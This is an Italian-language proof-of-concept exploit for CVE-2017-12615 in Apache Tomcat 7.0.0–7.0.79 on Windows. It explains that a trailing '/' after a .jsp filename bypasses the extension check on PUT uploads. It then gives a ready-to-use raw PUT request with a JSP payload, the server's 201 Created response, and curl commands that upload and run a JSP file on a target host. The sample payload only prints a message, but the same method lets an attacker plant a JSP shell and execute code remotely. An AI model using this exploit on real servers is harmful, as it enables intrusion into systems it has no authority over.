
Exploit POC per Apache Tomcat 7.0.x CVE-2017-12615 della vulnerabilità PUT JSP.
POC Exploit per Apache Tomcat 7.0.0 a 7.0.79 in esecuzione su Windows; vulnerabilità CVE-2017-12615 PUT JSP.
Per progettazione, non è consentito caricare file JSP tramite il metodo PUT sui server Apache Tomcat. Questa è probabilmente una misura di sicurezza per impedire a un attaccante di caricare una shell JSP e ottenere l'esecuzione remota di codice sul server. Tuttavia, a causa di controlli insufficienti, un attaccante potrebbe ottenere l'esecuzione remota di codice sui server Tomcat 7.0.{0 to 79} che hanno abilitato PUT richiedendo il metodo PUT sul server Tomcat utilizzando una richiesta HTTP appositamente predisposta. Ma seriamente, speciale? Per favore.
Aggiungendo un carattere '/' dopo l'estensione del nome file, si può bypassare il controllo dell'estensione del file. Tutto qui. Quindi, in realtà non è così speciale.
PUT /myfile.jsp/
Host: domain-name:port
Connection: close
Content-Length: 85
<% out.write("<html><body><h3>[+] JSP upload successfully.</h3></body></html>"); %>
HTTP/1.1 201 Created
Server: Apache-Coyote/1.1
Content-Length: 0
Date: Sat, 23 Sep 2017 06:36:36 GMT
Connection: close
<% out.write("<html><body><h3>[+] JSP file successfully uploaded via curl and JSP out.write executed.</h3></body></html>"); %>
curl -X PUT http://target-host-or-ip-address:port/test.jsp/ -d @- < test.jsp
curl http://target-host-or-ip-address:port/test.jsp